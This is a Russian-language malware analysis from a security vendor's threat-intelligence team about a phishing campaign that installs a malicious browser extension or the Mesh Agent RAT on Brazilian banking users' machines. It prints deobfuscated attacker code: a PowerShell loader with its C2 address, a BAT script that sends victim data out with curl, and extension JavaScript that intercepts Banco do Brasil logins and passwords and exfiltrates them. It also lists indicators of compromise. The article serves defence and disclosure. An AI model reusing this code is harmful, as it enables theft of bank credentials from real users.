Pull to refresh

Операция Phantom Enigma: бразильские пользователи под ударом вредоносного расширения

Level of difficultyMedium
Reading time13 min
Views686

В начале 2025 года специалисты группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies обнаружили вредоносное письмо, в котором предлагалось скачать файл с подозрительного сайта. Выявленная цепочка атаки приводит к установке вредоносного расширения для браузера Google Chrome, нацеленного на пользователей из Бразилии. 

В процессе исследования были обнаружены файлы, находящиеся в открытой директории злоумышленников, что позволило определить еще одну вариацию атаки с использованием Mesh Agent или PDQ Connect Agent вместо вредоносного расширения браузера. Там же располагались вспомогательные скрипты, содержащие в себе ссылки, в параметрах которых фигурировал идентификатор EnigmaCyberSecurity, — в честь него и была названа кампания.

Анализ цепочки атаки с расширением браузера

Рисунок 1. Цепочка атаки с использованием расширения браузера
Рисунок 1. Цепочка атаки с использованием расширения браузера

 В первом варианте цепочки атаки для распространения вредоноса используются фишинговые письма под видом счета-фактуры. В таком письме предлагается скачать файл по предложенной ссылке или открыть вредоносное вложение в архиве. 

Рисунок 2. Пример вредоносного письма
Рисунок 2. Пример вредоносного письма

На этом этапе может использоваться несколько форматов файлов, которые будут рассмотрены далее.

BAT-скрипт

Содержимое BAT-скрипта указано ниже; его основная задача — загрузка и запуск вредоносного PowerShell-скрипта.

Фрагмент запускаемого выше PowerShell-скрипта:

Add-Type -AssemblyName System.Windows.Forms

# Verifica se já está em execução, não deixa executar 2x.
$currentProcess = Get-Process -Id $PID
$runningProcesses = Get-Process -Name "powershell" -ErrorAction SilentlyContinue | 
    Where-Object {
        $_.Id -ne $PID -and 
        $_.MainModule.FileName -eq $currentProcess.MainModule.FileName
    }

if ($runningProcesses) {
    # Exibe MessageBox em vez de Write-Host
    [System.Windows.Forms.MessageBox]::Show(
        "Já existe uma instância deste script em execução.", 
        "Script em Execução", 
        [System.Windows.Forms.MessageBoxButtons]::OK, 
        [System.Windows.Forms.MessageBoxIcon]::Warning
    )
    exit 1
}

# Função para não deixar executar o script em VM
function Test-RunningInVM {
    # REDACTED
}

if (Test-RunningInVM) {
    exit 1
}

#############################################################################
# Configuraçao do Script — Alterar se necessário
$serverIP = "142.54.185.178"
$serverPort = 5555

$textServerIP = "142.54.185.178"
$textServerPort = 5556

$computerName = $env:COMPUTERNAME
$nomeps1 = "cliente.ps1"
$nomebat = "cliente.bat"
$nomeextensao = "nplfchpahihleeejpjmodggckakhglee"
$linkexetensao = "nplfchpahihleeejpjmodggckakhglee;https://clients2.google.com/service/update2/crx"
$diretorioExtensoes = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$nomeextensao"
#############################################################################
# ...

Функциональность PowerShell-скрипта включает:

  • Проверку на наличие виртуализации.

  • Проверку наличия сервиса Warsaw Technology. Этот сервис, судя по описанию, разрабатывается компанией GAS Tecnologia наряду с плагином GBPlugin для защиты банковских транзакций в бразильских банках. Поэтому мы и предположили, что этот вариант атаки нацелен преимущественно на пользователей из Бразилии.

  • Закрепление BAT-скрипта путем создания значения реестра HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PWSecurity. Сам скрипт перемещается в %APPDATA% 

  • Отключение UAC путем установки значения реестра HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA.

  • Подключение к С2 142.54.185.178, получение и обработка команд

Основной блок кода скрипта в бесконечном цикле обрабатывает команды с сервера. MSI-файл (Windows Installer)

MSI-файл используется злоумышленниками для доставки и установки вредоносного расширения для трех браузеров: Microsoft Edge, Google Chrome и Brave. Цепочку выполнения внутри установщика можно найти на рисунке 5. В ней можно выделить два основных действия — viewer.exe и LaunchExeWithDirectory.

Рисунок 3. Таблица InstallExecuteSequence внутри MSI-файла
Рисунок 3. Таблица InstallExecuteSequence внутри MSI-файла

Сначала запускается unificado.bat следующей командой: /EnforcedRunAsAdmin /HideWindow "[#unificado.bat]". Сам unificado.bat выглядит следующим образом:

@echo off
chcp 65001 >nul

:: Captura Data/Hora
for /f "tokens=2 delims==" %%a in ('wmic os get localdatetime /value') do set DATETIME=%%a
set "DATA_HORA=%DATETIME:~0,4%-%DATETIME:~4,2%-%DATETIME:~6,2% %DATETIME:~8,2%:%DATETIME:~10,2%:%DATETIME:~12,2%"

:: Consulta API ipinfo.io diretamente via PowerShell (100% funcional)
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).ip"') do set "IP_PUBLICO=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).hostname"') do set "HOST_INTERNET=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).city"') do set "CIDADE=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).region"') do set "UF=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).country"') do set "PAIS=%%a"

:: Define device padrão
set "DEVICE=Computador"

:: Verifica Warsaw rodando
sc query "Warsaw Technology" | find "RUNNING" >nul
if %errorlevel%==0 (
    set "WARSAW_STATUS=Warsaw Existente"
    set "STATUS=LIBERADO"
) else (
    set "WARSAW_STATUS=Warsaw Inexistente"
    set "STATUS=BLOQUEADO (Warsaw ausente)"
)

:: Envia ao contador (válido para ambas situações)
curl -G "https://enota.clientepj.com/sapinho/contador.php" ^
    --data-urlencode "data=%DATA_HORA%" ^
    --data-urlencode "ip=%IP_PUBLICO%" ^
    --data-urlencode "host=%HOST_INTERNET%" ^
    --data-urlencode "pais=%PAIS%" ^
    --data-urlencode "uf=%UF%" ^
    --data-urlencode "cidade=%CIDADE%" ^
    --data-urlencode "device=Computador" ^
    --data-urlencode "warsaw=%WARSAW_STATUS%" ^
    --data-urlencode "status=%STATUS%" ^
    --silent --output nul

:: Se Warsaw não existir, bloqueia a instalação automaticamente
if "%WARSAW_STATUS%"=="Warsaw Inexistente" (
    echo O Warsaw nao esta rodando! Instalacao cancelada.
    exit /b 1
)

exit /b 0

Скрипт собирает базовую информацию о системе жертвы и отправляет на управляющий сервер enota.clientepj.com следующие параметры:

  • дата и время;

  • публичный IP-адрес;

  • название узла;

  • местоположение;

  • информация о наличии сервиса Warsaw Technology;

  • статус, зависящий от наличия сервиса.

Как можно заметить, для дальнейшей работы необходимо наличие сервиса Warsaw Technology. Если сервис существует в системе жертвы, то скрипт завершается успешно и запускаются следующие действия.

Событие LaunchExeWithDirectory запускает обфусцированный JavaScript-код из файла event.js. Сам файл можно найти внутри установщика. Фрагмент JavaScript-кода после деобфускации приведен ниже.

// ...
function killBrowsers() {
  var ajeya = new ActiveXObject("WScript.Shell");
  var kalee = ["taskkill /F /IM chrome.exe", "taskkill /F /IM msedge.exe", "taskkill /F /IM brave.exe"];
  for (var chadley = 0; chadley < kalee.length; chadley++) {
    try {
      ajeya.Run(kalee[chadley], 0, true);
    } catch (kalika) {}
  }
}
function getUserDirectories() {
  var novareign = [];
  if (fso.FolderExists("C:\\Users")) {
    var jarran = fso.GetFolder("C:\\Users");
    var carmenlita = new Enumerator(jarran.SubFolders);
    for (; !carmenlita.atEnd(); carmenlita.moveNext()) {
      novareign.push(carmenlita.item().Path);
    }
  } else {}
  return novareign;
}
var userDirectories = getUserDirectories();
for (var i = 0; i < userDirectories.length; i++) {
  var desktopPath = userDirectories[i] + "\\Desktop";
  var desktopPath2 = userDirectories[i] + "\\OneDrive\\Área de trabalho";
  var startMenuPath = userDirectories[i] + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs";
  var quickLaunchPath = userDirectories[i] + "\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch";
  processShortcuts(desktopPath);
  processShortcuts(desktopPath2);
  processShortcuts("C:\\programdata\\Microsoft\\Windows\\Start Menu\\Programs");
  processShortcuts(startMenuPath);
  processShortcuts(quickLaunchPath);
}
deletarArquivo("c:\\programdata\\event.js");
deletarArquivo("c:\\programdata\\aplicativo.msi");
function alterarStringNoArquivo(jaylynn, demetras) {
  var semaya = new ActiveXObject("Scripting.FileSystemObject");
  try {
    var jacquette = semaya.OpenTextFile("C:\\programdata\\microsoft\\TIMEDATE\\cs.js", 1);
// ...

Отличия текущего варианта от BAT-скрипта из предыдущего раздела следующие:

  • Отсутствие необходимости устанавливать расширение из Chrome Web Store, так как оно уже находится рядом с .js-файлом.

  • Закрепление путем поиска и модификации LNK-файлов, указывающих на браузеры, в пользовательских папках. К ним добавляется параметр --load-extension=<extension-path>, где extension-path — путь до исходного кода расширения, который задается внутри скрипта. В данном случае — C:\programdata\microsoft\TIMEDATE\.

Анализ расширения

Расширение представляет из себя несколько .js-файлов и файл манифеста (рисунок 4). Основной код расположен в файле run-back.js, а cs.js внедряется в определенные страницы после их загрузки, что можно видеть в манифесте. По паттернам URL в манифесте и в коде скриптов видно, что они относятся к Banco do Brasil.

Рисунок 4. Манифест вредоносного расширения
Рисунок 4. Манифест вредоносного расширения

Для начала рассмотрим run-back.js, который после деобфускации выглядит следующим образом:

let e = '';
let t = '';
let a = '';
let o = '';
function r(_0x1fa244, _0x30450a) {
  chrome.storage.sync.get("eindeutigeKennung", function (_0x5cc065) {
    a = _0x5cc065.eindeutigeKennung;
    var _0x5cc065 = "https://financial-executive.com/comando_temporario.php?eindeutigeKennung=" + a + "&k=" + _0x1fa244.identificacaoUsuario;
    var _0x10f258 = {
      'method': _0x30450a,
      'headers': {
        'Content-Type': "application/json"
      },
      'body': JSON.stringify(_0x1fa244)
    };
    fetch(_0x5cc065, _0x10f258);
  });
}

// ...

В коде при установке расширения в хранилище помещается значение eindeutigeKennung (в переводе с немецкого — «уникальный идентификатор»), который вычисляется следующим образом (рис. 5).

Рисунок 5. Формирование уникального идентификатора для жертвы
Рисунок 5. Формирование уникального идентификатора для жертвы

Код содержит callback-функции, которые вызываются по событиям onBeforeSendHeaders, onBeforeRequest и onMessage. Для взаимодействия с управляющим сервером злоумышленники написали несколько вспомогательных функций. Функция r(requestBody, requestMethod), код которой можно найти выше, отправляет данные на сервер, помещая в один из параметров уникальный идентификатор eindeutigeKennung. Пример кода, который отправляет информацию с пользовательскими данными, — ниже.

chrome.webRequest.onBeforeRequest.addListener(function (request) {
  let parsedUrl = new URL(request.url);
  if ('POST' === request.method && parsedUrl.pathname.includes("/login")) {
    let loginData = (b = request.requestBody) && b.raw ? JSON.parse(decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(b.raw[0].bytes)))) : {};
    if (loginData && loginData.identificacaoUsuario) {
      savedLoginData = JSON.stringify(loginData);
      interval = setInterval(s, 2000);
    }
  } else {
    if ('POST' === request.method && parsedUrl.pathname.includes("/armazenar-senha-conta")) {
      let reqBodyObject = (b = request.requestBody) && b.raw ? JSON.parse(decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(b.raw[0].bytes)))) : {};
      let reqHeadersObj;
      if (reqBodyObject && reqBodyObject.senhaContaSelecaoInputV1) {
        reqHeadersObj = request.requestHeaders;
        r({
          ...JSON.parse(savedLoginData),
          'senha8': reqBodyObject.senhaContaSelecaoInputV1.senhaContaSelecao,
          'tokenHeaderDaten': reqHeadersObj
        }, "PATCH");
      }
    }
  }
}, {
  'urls': ['<all_urls>']
}, ["requestBody"]);

Другая функция s() используется для получения и обработки команд с сервера злоумышленников. Она вызывается по событиям onBeforeRequest и onMessage. Пример вызова выглядит следующим образом.

chrome.runtime.onMessage.addListener((_message, _sender, _sendResponse) => {
  var _messageData;
  if ("login" === _message.type) {
    savedLoginData = JSON.stringify(_message.data);
    interval = setInterval(s, 2000);
  } else if ("store-password" === _message.type) {
    _messageData = _message.data;
    _message = _message.headers;
    r({
      ...JSON.parse(savedLoginData),
      'senha8': _messageData.senhaContaSelecaoInputV1.senhaContaSelecao,
      'tokenHeaderDaten': _message
    }, 'PATCH');
  }
});

Функция s() приведена ниже.

async function s() {
  chrome.tabs.query({
    'active': true,
    'currentWindow': true
  }, function (_activeTabs) {
    if (_activeTabs[0] && _activeTabs[0].url.includes('apf-apj-')) {
      q = JSON.parse(savedLoginData);
      fetch("https://financial-executive.com/comando_temporario.php?eindeutigeKennung=" + a + "&k=" + q.identificacaoUsuario).then(_response => _response.json()).then(function (_responseObject) {
        if (_responseObject.comando && o != _responseObject.comando) {
          let _messageData = {};
          if ("CODE_ZUM_LESEN" === _responseObject.comando) {
            bildadresse = _responseObject.qr;
            _messageData = {
              'befehlstyp': "codeZumLesen",
              'bildadresse': bildadresse
            };
          } else if ("WARTEN" === _responseObject.comando) {
            _messageData = {
              'befehlstyp': "warten"
            };
          } else if ("SCHLIEBEN_WARTEN" === _responseObject.comando) {
            _messageData = {
              'befehlstyp': "schliebenWarten"
            };
          }
          chrome.tabs.sendMessage(_activeTabs[0].id, _messageData);
          o = _responseObject.comando;
        }
      });
    }
  });
}

Данная функция взаимодействует с cs.js, содержимое которого указано ниже.

Рисунок 6. Пример кода файла cs.js
Рисунок 6. Пример кода файла cs.js

По коду cs.js и s() видно, что их разработка не завершена, но потенциальная функциональность понятна. Функция s(), если в ссылке активной вкладки есть подстрока apf-apj-, используемая в API Banco do Brasil, на сервер злоумышленников отправляется запрос по ссылке https://financial-executive.com/comando_temporario.php для получения новой команды. Список обрабатываемых команд приведен ниже.

Команда в s()

Команда в cs.js

Описание

CODE_ZUM_LESEN

codeZumLesen

(В переводе с немецкого — «код для считывания».) Как только вызывается эта команда, создается событие codeZumLesen с параметром bildadresse, в который передается QR-код. Предположительно, должна показывать жертве вредоносный QR-код на странице банка

WARTEN

warten

(Переведено с немецкого — «ждать».) Вызывается новое событие warten. Предположительно, должна имитировать экран загрузки

SCHLIEBEN_WARTEN

schliebenWarten

(В переводе с немецкого — «прекратить ожидание».) Вызывается новое событие schliebenWarten. Предположительно, должна имитировать экран загрузки

Таким образом, злоумышленник собирает конфиденциальную пользовательскую информацию, используемую при аутентификации в определенном сервисе (предположительно — Banco do Brasil). Интересной особенностью кода является используемый язык переменных: либо немецкий, либо португальский. Это может либо характеризовать местоположение злоумышленника, либо указывать на то, что код подобного стилера был написан не с нуля, а у кого-то заимствован. 

Анализ цепочки атаки с Mesh Agent

Помимо атаки с использованием расширения для браузера, была обнаружена атака с использованием Mesh Agent в качестве вредоносного ПО. 

Mesh Agent RAT (Remote Access Tools) — это программное обеспечение, которое запускается на удаленных устройствах и подключается к серверу MeshCentral для удаленного управления устройствами. Этот агент скомпилирован для Windows, многих различных дистрибутивов Linux, macOS и FreeBSD. Кроме того, он скомпилирован для множества различных процессоров x86-32, x86-64, ARM, MIPS

(Источник: github.com/Ylianst/MeshAgent)

Рисунок 7. Цепочка атаки с использованием Mesh Agent
Рисунок 7. Цепочка атаки с использованием Mesh Agent

Техника распространения ВПО такая же — фишинговое письмо на тему счета-фактуры c MSI-файлом. После успешной установки агент запускается и связывается с сервером по ссылке wss://mesh.computadorpj.com/agent.ashx и https://mesh.computadorpj.com/. Помимо Mesh Agent, на серверах злоумышленников было обнаружено несколько образцов установщиков PDQ Connect Agent.

Вариант атаки с использованием RAT позволяет атакующим распространяться по зараженной инфраструктуре, в то время как вариант с вредоносным расширением затрагивает только одно пользовательское устройство. Одно из последствий атаки для компаний будет описано в разделе «Жертвы». 

 

Рисунок 8. Структура файла .msi с Mesh Agent внутри
Рисунок 8. Структура файла .msi с Mesh Agent внутри

Анализ сетевой инфраструктуры и расширений

В ходе исследования было обнаружено несколько вредоносных доменов и серверов злоумышленников. Благодаря подробному изучению используемых TLS-сертификатов и других артефактов двух цепочек атак стало известно о нескольких сетевых индикаторах:

  • *.computadorpj.com

  • financial-executive.com

  • 142.54.185.178

  • clientepj.com

  • ranchocentral.com

Домен computadorpj.com использует общий TLS-сертификат вместе с доменом — nfe-fiscal.com. Оба домена располагались на IP-адресе 107.174.231.26 автономной системы (AS-COLOCROSSING). 

Другие поддомены частично располагались на IP-адресе 142.54.185.178, используемом в PowerShell-скрипте для отправки команд в систему жертвы.

 

Рисунок 9. Использование одного IP-адреса для нескольких вредоносных доменов
Рисунок 9. Использование одного IP-адреса для нескольких вредоносных доменов

Расширить инфраструктуру можно, если обратить внимание на метаданные вредоносных установщиков (рисунок 10). Поиск по открытым источникам, включая публичные песочницы, позволил добавить еще несколько исследуемых сетевых индикаторов, включая репозитории GitHub.

Рисунок 10. Метаданные, используемые в образцах Windows Installer 
Рисунок 10. Метаданные, используемые в образцах Windows Installer 

Новые сетевые индикаторы, полученные на основе ITW-ссылок обнаруженных семплов со схожими метаданными, выглядят следующим образом:

  • 18.231.162.77

  • https://github.com/contaaws20251

  • hamrah-tejarat.com

  • servidor2025.com

  • atual2025.com

  • syarousi-search.com

В PowerShell-скриптах, устанавливающих расширение в системе жертвы, указывается идентификатор в магазине Chrome Web Store. Обнаруженные идентификаторы расширений:

  • nplfchpahihleeejpjmodggckakhglee

  • ckkjdiimhlanonhceggkfjlmjnenpmfm

  • lkpiodmpjdhhhkdhdbnncigggodgdfli

На данный момент расширения уже удалены из магазина как вредоносные, однако можно просмотреть историю изменений некоторых из созданных расширений.

Рисунок 11. Пример созданных вредоносных расширений
Рисунок 11. Пример созданных вредоносных расширений

Жертвы

Определить скомпрометированные организации и одну из целей их заражения удалось на основе данных в открытой директории злоумышленников. В файле https://enota.clientepj.com/uploads/resultados.txt были перечислены ссылки вида http://<victim-domain>/about.php?key=EnigmaCyberSecurity. На некоторых из ссылок до сих пор видна активность (рисунок 12, некоторые поля замазаны с целью приватности). Название самого нижнего текстового поля переводится как «Введите ниже адрес электронной почты жертвы»; в нем можно указывать сразу несколько электронных адресов. Исходный код этой страницы так же есть в открытой директории злоумышленников.

Рисунок 12. Пример ссылки на скомпрометированном сайте
Рисунок 12. Пример ссылки на скомпрометированном сайте

 Серверы взломанных компаний нужны злоумышленникам для отправки писем, чтобы заразить пользователей из Бразилии вредоносным расширением.

Всего на основе подобных ссылок было обнаружено 70 уникальных компаний-жертв. Количество же скачиваний самого расширения в Chrome Web Store — 722. Однако некоторая часть из скачиваний — это работа песочниц. Общая география жертв всех атак выглядит следующим образом.

Рисунок 13. Количество вредоносных файлов кампании
Рисунок 13. Количество вредоносных файлов кампании

Выводы

Исследование показывает использование достаточно уникальных техник в регионе Латинской Америки — вредоносное расширение браузера, распространение через установщики Windows Installer и Inno Setup. Для универсальности своих атак и, следовательно, чтобы потенциальных жертв было больше, злоумышленники использовали две цепочки атаки: одна с использованием расширения, другая — с Mesh Agent или другими RAT.

Судя по файлам, расположенным в открытой директории атакующих, заражение компаний нужно для более незаметной рассылки писем от лица существующих компаний. Однако основной фокус атак остался на обычных пользователях Бразилии. Целью злоумышленников остается получение аутентификационных данных от банковских счетов жертв. Мы продолжим следить за данной вредоносной активностью и обязательно оповестим в случае возникновения новой массовой атаки.

Другие детали расследовании, в том числе индикаторы компрометации, вердикты продуктов и вредоносные техники злоумышленников из матрицы Mitre Att&ck можно посмотреть в полной версии исследования на сайте.

Климентий Галкин

Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Tags:
Hubs:
+17
Comments3

Articles

Information

Website
www.ptsecurity.com
Registered
Founded
2002
Employees
1,001–5,000 employees
Location
Россия